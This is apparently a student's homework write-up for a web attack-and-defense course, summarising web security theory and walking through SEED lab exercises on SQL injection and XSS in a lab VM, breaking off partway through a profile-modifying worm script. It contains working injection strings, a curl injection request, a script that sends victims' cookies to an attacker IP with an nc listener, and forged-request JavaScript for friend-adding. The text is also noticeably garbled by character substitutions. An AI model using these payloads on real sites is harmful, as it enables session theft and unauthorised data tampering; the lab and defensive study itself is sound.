20199311 2019-2020-2《网络攻防实践》第11周做业

问题 回答
这个做业属于哪一个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个做业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
我在这个课程的目标是 学习教材第十一章,了解Web安全攻防技术的相关知识
这个做业在哪一个具体方面帮助我实现目标 相关知识点和实践

1. 实践内容

1.1 Web应用程序体系结构及其安全威胁

1.1.1 Web应用体系结构

Web 应用程序 (Web Application) 是 一种使用浏览器在互联网或企业内部网上进行访问操做的应用软件形态,一般以浏览器支持的语言(如 JavaScript 等脚本语言及 HTML 等渲染标记语言)所编写,或可以在浏览器控制的环境中运行(如 Java Applet),依赖于浏览器来对应用程序进行渲染与执行。
Web 应用的体系结构由浏览器做为“瘦” 客户端主要完成数据显示与展现内容的渲染(render)功能;而由功能强大的“胖”服务器负负完成士哎业务的计算处理;二者之间经过因特网或内联网上 HTTP/HTTPS 应用层协议的请求与应答进行通讯。
图片描述javascript

  • 浏览器(Browser)
    标准的Web 客户端就是咱们所熟知的浏览器,如 IE 、Firefox 、Chrome 等,它们都使用 HTTP/HTTPS 协议、HTML 语言和Web 服务器进行交互,获取 Web 服务器上的信息和应用服务。php

  • Web 服务器 (Web Server)
    Web 服务器软件一般被简单地描述为 HTTP 守护程序,接收Web 客户端对资源的请求,在这些请求上执行一些基本的解析处理以肯定资源的存在,而后将它传送给Web 应用程序来执行,待 Web 应用程序执行完逻辑并返回响应时,Web 服务器再将这个响应返回给 Web 客户端,在浏览器上进行本地执行、渲染和展现。
    图片描述html

  • Web 应用程序(Web Application)
    负责服务器端的业务逻辑处理,最为常见的三层体系结构:表示层:接受Web客户端的输入并显示结果;业务逻辑层:从表示层接受输入并完成某些工做,须要数据层的协做,再将结果送回表示层;数据层:以数据库或本地文件的形式,提供非易失的信息存储。java

  • 数据库(Database)
    数据库有时也被称为“后台”,是 Web 应用存储数据的地方,数据层也做为 Web 应用程序多级结构中的最后一层。mysql

  • 传输协议 HTTP/HTTPS
    浏览器和由 Web 服务器、Web 应用程序和数据库所构成的 Web 站点之间的通讯传输
    协议是 HTTP/HTTPS 协议。git

1.1.2 Web 应用安全威胁

  • 针对浏览器和终端用户的 Web 浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。程序员

  • 针对传输网络的网络协议安全威胁:如针对 HTTP 明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。web

  • 系统层安全威胁:Web 站点的宿主操做系统,如Windows Server、 Linux等,存在 着远程渗透攻击和本地渗透攻击威胁sql

  • Web 服务器软件安全威胁:Web 服务器软件如 IIS、Apache做为一种典型的网络服
    务,也不叫避免地存在着安全漏洞与弱点。shell

  • Web应用程序安全威胁:程序员在使用 ASP、PHP 等脚本编程语言实现 Web 应用
    程序时,因为缺少安全意识或有着不良的编程习惯,最终致使 Web 应用程序出现安
    全漏洞,从而被攻击者渗透利用,包括 SQL 注入攻击、XSS 跨站脚本攻击等。

  • Web数据安全威胁:Web 站点中在 Web 应用程序后台存储的关键数据内容, 以及
    Web客户输入的数据内容, 存在浒被窃取、篡改及输入不良信息等威胁。
    图片描述

1.2 Web 应用安全攻防技术概述

1.2.1 Web 应用的信息收集

主要收集内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其余开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息等。

  • 手工审查 Web 应用程序结构与源代码:

    • 静态和动态生成的贞面
    • 目录结构
    • 辅助性文件
    • 输入表单
    • 查询参数字符串
  • 自动下载与镜像 Web 站点页面:提高手动审查的自动化程度。

  • 使用 Google Hacking 技术审查与探测 Web 应用程序:Google Hacking 技术特指使用 Google 搜索引擎或其余的 Google 应用,在 Web 站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。
    图片描述

  • Web 应用程序安全评估与漏洞检测:针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操做、输入数据合法/合理性检查。安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。

1.2.2 攻击 Web 服务器软件

  • 数据驱动的远程代码执行安全漏洞:做为一种典型的网络服务守护进程, Web 服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击每每可以让攻击者在 Web 服务器上直接得到远程代码执行的权利,并以至关高的权限执行任意命令。

  • 服务器功能扩展模块漏洞:扩展模块每每较 Web 服务器软件的编写质量要差许多,所以也就存在更多的安全漏洞。

  • 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。

  • 源代码泄露:源代码泄漏漏洞让渗透测试人员可以查看到没有防御措施Web服务器上的应用程序源代码。

  • 资源解析攻击:Web服务器软件在处理资源请求时,须要将同一资源的不一样表示方式解析为标准化名称,这一过程被称为资源解析。这里面缺少对输入合法性与合理性验证的处理

1.2.3 攻击 Web 应用程序

Web应用程序安全威胁类型包括:针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段;受权机制的攻击:针对用来肯定用户、服务或应用是否具备执行请求动做必须权限机制的攻击手段;客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段;命令执行攻击:在web站点执行远程命令的攻击手段;信息暴露:获取web站点具体系统信息的攻击手段;逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
图片描述

1.2.4 攻击 Web 数据内容

Web 站点除了经过服务器软什和应用程序中存在安全漏洞和弱点遭受攻击以外,还面临着针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄漏、网站内容遭受篡改,以及不良信息内容上传。

  • 网站篡改:网站篡改(Website Defacement) 是一类较早出现且流行已久的网站攻击形式,通常是网络骇客们所为,在利用特定攻击手段入侵网站后,将网站页面内容进行替换,从而宣示入侵成功或表达攻击者的某种观点诉求。

  • 不良信息内容上传:Web站点被攻击者入侵和控制以后,以及一些容许用户上传内容的论坛、博客类网站,可能遭受不良信息内容上传的威胁。

1.2.5 Web 应用安全防范措施

  • Web 站点网络传输安全设防措施:使用HTTPS、SSH、SFTP等安全协议。
  • Web 站点操做系统及服务安全设防措施:对 Web 站点的操做系统与服务器软件进行及时的补丁更新;对 Web 站点服务器的操做系统及各类开放服务进行远程安全漏洞扫描;采用提高系统与服务安全性的通常性设防措施
  • Web 应用程序安全设防措施:在设计时就应该谨慎考虑
  • Web 站点数据安全设防措施:提升网站内容维护人员的数据安全意识,对维护网站的数据安全实施平常监测和防御

1.3 SQL注入

代码注入攻击经过利用 Web 应用程序的输入验证个不完善漏洞,使得 Web 应用程序执行由攻击者所注入的恶意指令和代码,形成敏感信息泄漏、权限提高或对系统的未受权访问等危害后果。

1.3.1 SQL 注入攻击原理

利用 Web 应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。因为用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户能够输入并执行一些非预期的SQL指令代码。

1.3.2 SQL注入攻击步骤和过程

  • 发现SQL注入点:存在http://SITE/xxx.asp?some_rec=yyy的动态网页时,当some_rec字段为整形参数,经过不一样的三种字符串可判断该动态页面是否存在SQL注入点。同理也能够对字符型作,下面展现整型状况。
    • yyy修改成yyy' 形成SQL出错,动态页面返回错误提示信息。
    • yyy修改成yyy and 1=1 不对查询条件形成任何影响,返回正常页面。
    • yyy修改成yyy and 1=2 查询不到任何信息。
  • 判断后台数据库类型
    • 利用数据库服务器的系统变量。
    • 利用数据库服务器的系统表进行判断
  • 利用SQL注入进行后台口令拆解
    • 猜解后台口令表表名。
    • 猜解字段名。
    • 猜解字段值: 二分法逼近。
    • 口令可能为MD5散列后的密文
  • 上传ASP后门,获得默认帐户权限:在破解获得Web应用管理员用户名和口令后,经过找出后台管理界面登陆,攻击者就能够经过后台管理界面一般所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
  • 本地特权提高
  • 利用数据库扩展存储过程执行shell命令:经过SQL注入点执行相应的扩展存储过程。

1.3.3 SQL注入攻击工具

Wposion 可以在动态 Web 文档中找出 SQL 注入漏洞;wieliekoek.pl 可以以并以网站镜像工具生成的输出为输入,找出含有表单页面,容许在配置文件中对注入字符串进行修改,进行 SQL 注入漏洞探测;SPIKE Proxy 工具容许使用者对待注入的字符串进行定制,并执行自动化的 SQL 注入测试;SPI Toolkit 工具包中也包含了一个名叫"SQL Injector" 的自动化 SQL 注入测试工具。

1.3.4 SQL 注入攻击防范措施

大多数的 SQL 注入攻击都是利用 Web 应用程序中对用户输入没有进行严格的转义字
符过滤和类型检查的安全漏洞,所以对 SQL 注入攻击的防范措施主要依靠对用户输入中特殊字符严格的输入验证机制,及对输入参数类型与长度的严格检查与限制机制。

  1. 使用类型安全 (type-safe) 的参数编码机制
  2. 凡是来自外部的用户输入,必须进行完备检查
  3. 将动态 SQL 语句替换为存储过程、 预编译 SQL 或 ADO 命令对象
  4. 增强 SQL 数据库服务器的配置与链接

1.4 XSS 跨站脚本攻击

XSS 跨站脚本攻击的最终目标不是提供服务的 Web 应用程序,而是使用 Web 应用程序的用户。XSS 跨站脚本漏洞存在于 Web 应用程序中,使得攻击者能够在 Web 页面中插入恶意的 HTML 或 JavaScript 代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而形成获取用户敏感信息、客户端渗透攻击等危害后果。

1.4.1 XSS 攻击技术原理

与代码注入相似,XSS 攻击的根源一样是 Web 应用程序对用户输入内容的安全验证与 过滤不够完善,在许多流行的 Web 论坛、博客、留言本及其余容许用户交互的 Web 应用程序中,用户提交内容中能够包含 HTML、 JavaScript 及其余脚本代码,而一 旦 Web 应用程序没有对这些输入的合法性进行有效检查与过滤,就颇有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。用户在浏览网页时,客户端浏览器会解析这些插入的代码,形成获取用户敏感信息、客户端渗透攻击等后果。

1.4.2 xss 攻击类型

日前XSS跨站脚本漏洞并无统一的、标准的分类方法,但安全业界广泛将其分为两
种主要的 XSS 漏洞类型,即持久性 XSS 漏洞(Persistent Cross Sile Scripting)和非持久性 XSS 漏洞(Non-persistent Cross Site Scripting),利用这两类漏洞的攻击也被称为持久性 XSS 攻击与非持久性 XSS 攻击。

  • 持久性漏洞:持久性 XSS 漏洞是危害最为严重的 XSS 漏洞,它一般出现于一些能够将用户输入持久性地保有在 Web 服务器端,并在一些“正常”页面中持续性地显示,从而可以影响全部访问这些页而的其余用户,所以该类 XSS 漏洞也被称做存储性(stored)XSS 漏洞。
  • 非持久性漏洞:非持久性 XSS 漏洞(也被称为反射 XSS 漏洞)则是最为广泛的类型,当 Web 浏览器在 HTTP 请求参数或 HTML 提交表单中提供的数据,被当即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺少恰当的请求数据安全验证与过滤,那么就极可能存在着非持久性的 XSS 漏洞。针对这一非持久性 XSS 漏洞的具体攻击包括以下几个步骤:
    • 攻击者构造一个包含恶意脚本的bank.com登陆请求链接,经过email等方式将该攻击发送给其余用户。
    • 用户点击链接后会将恶意链接中包含的恶意脚本当作用户名参数提交给bank.com登录处理页面。
    • 网站将会在反馈的欢迎页面中包含恶意客户端脚本。
    • 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
    • 攻击者得到用户会话令牌后,能够劫持用户会话,伪造用户登陆进一步实施攻击。
      图片描述

1.4.3 XSS 攻击防范措施

XSS 跨站脚本攻击是因为Web 应用程序未对用户输入进行严格审查与过滤所引发的,可是恶意脚本执行倒是在客户端的浏览器上,危害的也是客户端的安全。所以,对 XSS 跨站脚本的防范分为服务器端和客户端两个方面。

  • 服务器端防范措施:与其余输入验证不完备类型安全漏洞相似,XSS 漏洞的首要防范措施是对全部来自外部的用户输入进行完备检查,以 “ 限制、 拒绝、 净化” 的思路来进行严格的安全过滤。

    • 输入验证:若是 Web 应用程序在某个位置收到的用户提交数据未来有可能被复制到响应页面中,Web 应用程序应根据这种情形对这些数据执行尽量严格的验证与过滤。
    • 输出净化:若是 Web 应用程序将用户提交数据复制到响应页而中,那么 Web 应用程序应对这些据进行 HTML 编码,以净化可能的恶意字符。
    • 消除危险的输入点:Web 应用程序页面中有一些位置,在这里插入用户提交的输入就会形成极大的风险;所以,开发者应力求寻找其余方法执行必要的功能。
  • 客户端防范措施:跨站脚本最终是在客户端浏览器上执行的,所以对抗 XSS 攻击需提高浏览器的安全设置,如提升浏览器访问非受信网站时的安全等级、关闭 Cookie 功能或设置 Cookie 只读等。

2. 实践过程

2.1 SEED SQL注入实验

咱们已经建立了一个 web 应用程序,并将其托管在www.SEEDLabSQLInjection.com上。这个web应用程序是一个简单的员工管理应用程序。员工能够经过此web应用程序查看和更新数据库中的我的信息。此web应用程序中主要有两个角色:管理员是特权角色,能够管理每一个员工的我的资料信息;员工是普通角色,能够查看或更新本身的资料信息。下表描述了全部员工信息。
图片描述

  • 任务1:熟悉SQL语句
  • 任务2:SELECT语句的SQL注入攻击
    • 任务2.1:来自网页的SQL注入攻击
    • 任务2.2:来自命令行的SQL注入攻击
    • 任务2.3:追加新的SQL语句
  • 任务3:UPDATE语句的SQL注入攻击
    • 任务3.1:修改本身的薪资
    • 任务3.2:修改他人薪资
    • 任务3.3:修改他人密码
  • 任务4:对策准备声明

实验环境

  • SEED Ubuntu 16.04
  • 安装应用程序的文件夹和访问此web应用程序的URL:
    URL: http://www.SEEDLabSQLInjection.com
    Folder: /var/www/SQLInjection/
  • 托管网站的 Apache2 服务器,请先使用指令sudo service apache2 start启动Apache 服务

任务1:熟悉SQL语句

MySQL是一个开源的关系数据库管理系统。咱们已经在 SEED Ubuntu VM 映像中设置了 MySQL。用户名是root,密码是seedubuntu。使用如下命令登陆MySQL控制台:
mysql -u root -pseedubuntu-u指定用户名,-p指定密码
图片描述
登陆后,能够建立新数据库或加载现有数据库。因为实验环境已经建立了用户数据库,可使用如下命令加载此现有数据库mysql> use Users,而后使用如下命令打印所选数据库的全部表mysql> show tables
图片描述
接下来使用以下命令select * from credential来打印全部员工的信息,在这里能够看到员工的姓名、工资以及hash以后的密码等信息。
图片描述
若是要查询雇员Alice的全部配置文件信息,使用以下命令select * from credential where Name="Alice"
图片描述

任务2:SELECT语句的SQL注入攻击

咱们将使用www.SEEDLabSQLInjection.com中的登陆页面执行此任务。登陆页面如图1所示。它要求用户提供用户名和密码。web应用程序基于这两个数据对用户进行身份验证,所以只有知道密码的员工才容许登陆。
做为攻击者,咱们的工做是在不知道任何员工凭据的状况下登陆到web应用程序。
图片描述

任务2.1:来自网页的SQL注入攻击
首先根据指导书的提示,咱们打开/var/www/SQLInjection/unsafe_home.php,查看关于登录校验的SQL语句。
图片描述
关键部分以下

$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$input_uname = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";
$result = $conn -> query($sql);

if(id != NULL) {
    if(name==’admin’) {
		return All employees information;
    } else if (name !=NULL){
		return employee information;
    }
} else {
	Authentication Fails;
}

上面的SQL语句从credential表中选择id、name、salary、ssn等我的员工信息。SQL语句使用两个变量input unamehashed pwd,其中input uname保存用户在登陆页的username字段中键入的字符串,而hashed pwd保存用户键入的密码的sha1哈希。该程序检查是否有任何记录与提供的用户名和密码匹配;若是有匹配,则用户将成功经过身份验证,并得到相应的员工信息。若是没有匹配项,则验证失败。最后,咱们注意到对于Admin和其余员工所显示的页面是不一样的。
那么经过观察以上SQL语句咱们能够知道,Admin是其中的一个员工。若是咱们输入的username字段为Admin'#Password字段为任意值。SQL语句便以下所示

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #' and Password='$hashed_pwd'

因为#在sql语句中表明注释,也就是说上述代码中#以后的内容在实际过程当中不会被执行。上述语句在mysql解释器中也就变成了下面代码,也就是不会对密码进行验证,又由于咱们输入的员工名是Admin,因此输出了全部员工的相关信息。
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admi'

图片描述
攻击成功

任务2.2:来自命令行的SQL注入攻击
这里要注意的问题是特殊符号要进行转义,就是找到几个特殊符号的十六进制,譬如#%23表示,这里因为使用命令行,因此咱们须要用到curl,这是一个命令行工具,经过指定的URL来上传或下载数据。使用命令

curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'

根据返回的信息判断咱们攻击成功(返回了所有员工的信息)
图片描述

任务2.3:追加新的SQL语句
在上述两个攻击中,咱们仅仅从数据库中拿到了已有的数据,如今咱们要作的就经过sql注入插入或者修改数据。;是sql语句的结束符,那么能够在构建sql注入攻击的时候,使用;将一条语句分割成两条sql语句,其中第二条是咱们精心构建的插入或者修改语句。若是咱们想让Admin的薪水变为100,语句以下

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'; UPDATE credential SET salary='100' WHERE name='Admin';#' and Password='$hashed_pwd

也就是在username输入Admin';UPDATE credential SET Salary='100' WHERE name='Admin'#,可是会发现攻击失败
图片描述
这是由于在MySQL机制中update不支持union语法,因此攻击失败(union是联合的意思,就是合并两个或多个select语句的结果集,并消除重复行)

任务3:UPDATE语句的SQL注入攻击

若是UPDATE语句发生SQL注入漏洞,则会形成更严重的损害,由于攻击者可使用该漏洞修改数据库。在咱们的员工管理应用程序中,有一个Edit Profile页面,以下图,容许员工更新他们的我的资料信息,包括昵称、电子邮件、地址、电话号码和密码。要转到此页,员工须要先登陆。登录后点击左上角Edit Profile
图片描述
当员工经过Edit Profile页面更新信息时,将执行如下SQL update查询。在unsafe edit backend.PHP文件中实现的PHP代码用于更新员工的配置文件信息。PHP文件位于/var/www/SQLInjection目录中。

任务3.1:修改本身的薪资
首先咱们根据上述提示查看后台代码vim /var/www/SQLInjection/unsafe_edit_backend.php ,能够找到相关的后台数据修改的代码
图片描述

图片描述

$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
    nickname='$input_nickname',
    email='$input_email',
    address='$input_address',
    Password='$hashed_pwd',
    PhoneNumber='$input_phonenumber'
    WHERE ID=$id;";
$conn->query($sql);

上述sql语句是sql注入攻击的关键。观察这条语句,咱们发现员工是无权经过它来修改工资的(固然员工确定不能改工资啊)。但若是咱们输入的nickname字段为',Salary='100' where Name='Alice'; # ,(将 Alice 的工资修改成100)那么最终被构建的sql语句就将变化为

UPDATE credential SET nickname='',salary='100' where Name='Alice'; # ',email='$input_email',address='$input_address',Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;

同理,#将后面的语句注释掉,只执行前面的语句,将 Alice 的工资修改成100
咱们将特殊构建的nickname,输入Edit Profile页面的nickname字段,而后点击Save,就可获得的工资修改后的结果
图片描述

任务3.2:修改他人薪资
能够经过修改Name字段的值,咱们就能够作到修改任意用户的Salary字段。例如构建nickname字段的值为',salary='100' where Name='Admin'#。这样最终获得的sql语句就变成了

UPDATE credential SET nickname='',salary='100' where Name='Admin'; # ',email='$input_email',address='$input_address',Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;

一样在nickname字段输入上述字段,能够修改 Admin 的工资。退出 Alice 登录,使用 Admin 登录,发现他的工资值被修改成100(初始值为99999)
图片描述

任务3.3:修改他人密码
由上述unsafe_edit_backend.php中的SQL语句咱们能够看到,咱们输入的密码通过sha1加密以后将其保存到了数据库的Password字段,由此咱们不难构建以下的SQL语句。若是咱们想修改 Boby 的密码为20199311,咱们首先使用命令echo -n '20199311' | sha1sum输出密码20199311的sha1值为fce06cc54b414aecb0a418eb3a8b759a0eeccbd5
图片描述
而后构建nickname字段的值为',Password='fce06cc54b414aecb0a418eb3a8b759a0eeccbd5' where Name='Boby'#
一样重复上两个任务的步骤,在 Alice 处输入进行修改。
图片描述
使用密码20199311登录帐户 Boby,登录成功
图片描述

图片描述

任务4:对策准备声明

SQL注入漏洞的根本问题是没法将代码与数据分离。在构造SQL语句时,程序(例如PHP程序)知道哪一个部分是数据,哪一个部分是代码。不幸的是,当SQL语句发送到数据库时,边界已经消失;SQL解释器看到的边界可能与开发人员设置的原始边界不一样。要解决此问题,必须确保边界视图在服务器端代码和数据库中保持一致。最安全的方法是使用预处理语句
要了解预处理语句如何防止SQL注入,咱们须要了解当SQL server接收到查询时会发生什么。如何执行查询的高级工做流程以下图所示。在编译步骤中,查询首先通过解析和规范化阶段,在这个阶段,查询将根据语法和语义进行检查。下一个阶段是编译阶段,其中关键字(例如SELECT、FROM、UPDATE等)被转换成机器能够理解的格式。基本上,在这个阶段,查询被解释。在查询优化阶段,将考虑执行查询的不一样计划数,并从中选择最佳优化计划。所选计划存储在cache中,所以每当下一个查询进入时,都将对照cache中的内容进行检查;若是它已经存在于cache中,则将跳过解析、编译和查询优化阶段。而后,编译后的查询被传递到实际执行查询的执行阶段。
图片描述
预处理语句在编译以后执行步骤以前出现。预处理语句将通过编译步骤,并转换为带有空数据占位符的预编译查询。要运行此预编译查询,须要提供数据,但这些数据不会经过编译步骤;相反,它们直接插入到预编译的查询中,并发送到执行引擎。所以,即便数据中有SQL代码,在不通过编译步骤的状况下,代码也将被简单地视为数据的一部分,没有任何特殊意义。这就是预处理语句防止SQL注入攻击的方式。
首先咱们修改在unsafe_home.php中的sql语句为预处理语句,即将

$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";
$result = $conn -> query($sql);

修改成

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= ? and Password= ?");
      $stmt->bind_param("ss", $input_uname, $hashed_pwd);
      $stmt->execute();
      $stmt->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
      $stmt->fetch();

使用预处理语句机制,咱们将向数据库发送SQL语句的过程分为两个步骤。第一步是只发送代码部分,即没有实际数据的SQL语句。这是准备步骤。从上面的代码片断中咱们能够看到,实际数据被问号(?)替换。在这一步以后,咱们使用bind param()将数据发送到数据库。数据库将只将此步骤中发送的全部内容视为数据,而再也不视为代码。它将数据绑定到准备好的语句的相应问号。在bind param()方法中,第一个参数“is”表示参数的类型:“i”表示$id中的数据具备整数类型,“s”表示$pwd中的数据具备字符串类型。

2.2 SEED XSS 攻击实验

为了演示攻击者如何利用XSS漏洞,咱们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。Elgg是一个很是流行的面向社交网络的开源web应用程序,它已经实现了许多应对XSS威胁的措施。为了演示XSS攻击是如何工做的,咱们在安装的Elgg中评论了这些对策,故意使Elgg易受XSS攻击。若是没有对策,用户能够向用户配置文件发布任意消息,包括JavaScript程序。在这个实验室里,学生们须要利用这个漏洞对修改后的Elgg发起XSS攻击,其方式相似于2005年Samy Kamkar经过臭名昭著的Samy蠕虫对MySpace的攻击。此攻击的最终目标是在用户中传播XSS蠕虫,这样,查看受感染用户配置文件的人将受到感染,而受感染的人将把您(即攻击者)添加到他/她的朋友列表中。任务以下

  • 准备:熟悉“HTTP Header Live”工具
  • 任务1:发布恶意消息以显示警报窗口
  • 任务2:发布恶意消息以显示Cookies
  • 任务3:从受害者的机器上偷Cookies
  • 任务4:成为受害者的朋友
  • 任务5:修改受害者的我的资料
  • 任务6:编写自传播XSS蠕虫
  • 任务7:对策

实验环境

  • Elgg Web应用程序。咱们在这个实验室使用一个名为Elgg的开源web应用程序,Elgg是一个基于web的社交网络应用程序。它已经在预先构建的Ubuntu VM映像中设置好了。咱们还在Elgg服务器上建立了几个用户账户,下面给出了凭据。
    图片描述

  • DNS配置。咱们已配置此实验室所需的如下URL。安装web应用程序的文件夹和访问此web应用程序的URL以下所述

URL: http://www.xsslabelgg.com
Folder: /var/www/XSS/Elgg/
  • Apache配置。使用命令sudo service apache2 start启动 Apache 服务。

准备:熟悉“HTTP Header Live”工具

在这个实验室中,咱们须要构造HTTP请求。为了弄清楚Elgg中可接受的HTTP请求是什么样子,咱们须要可以捕获和分析HTTP请求。为此,咱们可使用一个名为“HTTP Header Live”的Firefox插件。在你开始研究这个实验室以前,你应该熟悉这个工具。
图片描述
任务1,2,3以 Alice 为攻击者,Boby 为受害者
任务4,5,6以 Samy 为攻击者,Boby 为受害者,Admin 为蠕虫病毒的二次受害者

任务1:发布恶意消息以显示警报窗口

首先利用Alice的帐户alice和密码seedalice登陆Elgg
图片描述
这里的主要的攻击方法是在Alice的Brief description域中添加JavaScript代码并保存,而后使用另外一个用户Boby登陆并查看alice的profile,则将会看到警告窗口。
首先添加<script>alert('XSS');</script>代码并保存,能够看到弹出了警告窗口
图片描述
而后使用Boby帐户登录,搜索Alice用户
图片描述
点开Alice的主页,弹出警告窗口
图片描述

任务2:发布恶意消息以显示Cookies

与上个任务相似,只是插入的代码改为了<script> alert(document.cookie);</script>
图片描述
点击save保存,弹出 Alice 的 Cookies
图片描述
使用 Boby 帐户登录,点击进入 Alice 的主页,弹出 Boby 的 Cookies
图片描述

任务3:从受害者的机器上偷Cookies

在上一个任务中,攻击者编写的恶意JavaScript代码能够打印出用户的cookie,但只有用户才能看到cookie,而不是攻击者。在此任务中,攻击者但愿JavaScript代码将cookies发送给本身。为此,恶意JavaScript代码须要向攻击者发送一个HTTP请求,并将cookies附加到请求中。
这里经过使恶意的JavaScript代码插入一个<img>标签,其src属性设置为攻击者的主机来实现。当 JavaScript 插入 img 标签时,浏览器尝试从src字段中的URL加载图片, HTTP GET 请求发送到攻击者主机。下面咱们使用 JavaScript 将 Cookies 发送到攻击者机器的9457端口,攻击者的 TCP 服务器监听同一个端口,服务器则可打印出任何收到的内容。代码以下(这里直接使用 seed 的ip地址做为攻击者服务器)

<script>document.write('<img src=http://192.168.200.6:9457?c='+escape(document.cookie) + ' >');</script>

而后咱们在上文ip地址对应的机器上运行命令nc -l 9456 -v。nc就是以前用到的netcat,-l命令指明监听的是TCP链接,9456是上面请求的端口号,-v用来输出更详细的信息。
一样重复上两个任务的步骤,将代码写入 Alice 的Brief description域
图片描述
而后打开终端使用命令nc -l 9456 -v监听,同时使用 Boby 帐号登录并查看Alice的主页
图片描述
而后在终端上查看结果
图片描述

任务4:成为受害者的朋友

在这个和下一个任务中,咱们将执行相似于2005年Samy对MySpace所作的攻击(即Samy蠕虫)。咱们将编写一个XSS蠕虫,将 Samy 做为朋友添加到访问Samy页面的任何其余用户中。
此蠕虫不会自我传播;在任务6中,咱们将使其自我传播。
在这个任务中,咱们须要编写一个恶意JavaScript程序,该程序直接从受害者的浏览器伪造HTTP请求,而无需攻击者的干预。此次袭击的目的是让萨米成为受害者的朋友。咱们已经在Elgg服务器上建立了一个名为Samy的用户(用户名是Samy)。

在XSS攻击以前,咱们首先要弄清楚在正常的状况下,添加好友这个功能都发送什么样的指令。所以咱们登录 Alice 的帐户,访问 Samy 的主页,点击Add Friend,并同时使用HTTP Header Live查看发送的数据。能够获得以下图所示的信息
图片描述
从上图中咱们能够看到以下的信息:请求的方式是POST;请求的地址是http://www.xsslabelgg.com/action/friends/add;请求地址的第一个参数是friend=(samy 的编号是47);请求地址的第二个参数是__elgg_ts=;请求地址的第三个参数是__elgg_token=;也就是说咱们要指明添加的好友,添加的时间并进行添加者的身份验证

结合以上分析获得的信息和指导书给的一个js框架能够编写出以下程序

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

这段代码的含义是首先咱们获取到了访问者的elgg_ts和elgg_token,接下来按照上文的分析构建了请求url,咱们经过XMLHttpRequest对象构建请求,请求的方式为get, 并设置请求头和其余信息,经过send函数发送请求。

接下来将这段代码放入 Samy 的 About ME 字段,此字段提供两种编辑模式:编辑器模式(默认)和文本模式。编辑器模式向字段中键入的文本添加额外的 HTML 代码,而文本模式不添加。由于咱们不但愿在攻击代码中添加任何额外的代码,因此在输入上述JavaScript代码以前应该启用文本模式。这能够经过点击“Edit HTML”来完成,这能够在“About ME”文本字段的右上角找到。
图片描述
接下来使用 Boby 帐户登录,这时候 Boby 的好友栏是空的
图片描述
接下来访问 Samy 的主页
图片描述
再次查看 Boby 的好友栏,发现将 Samy 添加为好友
图片描述

任务5:修改受害者的我的资料

此任务的目标是在受害者访问 Samy 页面时修改受害者的配置文件。咱们将编写一个XSS蠕虫来完成任务。此蠕虫不会自我传播;在任务6中,咱们将使其自我传播。

和上一个任务相同,咱们首先要用 HTTP Header Live 查看修改资料时发送了哪些指令。使用 Samy 帐号登陆,点击Edit profile,查看发送的指令
图片描述
结合指导书上所给的代码,能够编写出以下程序

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
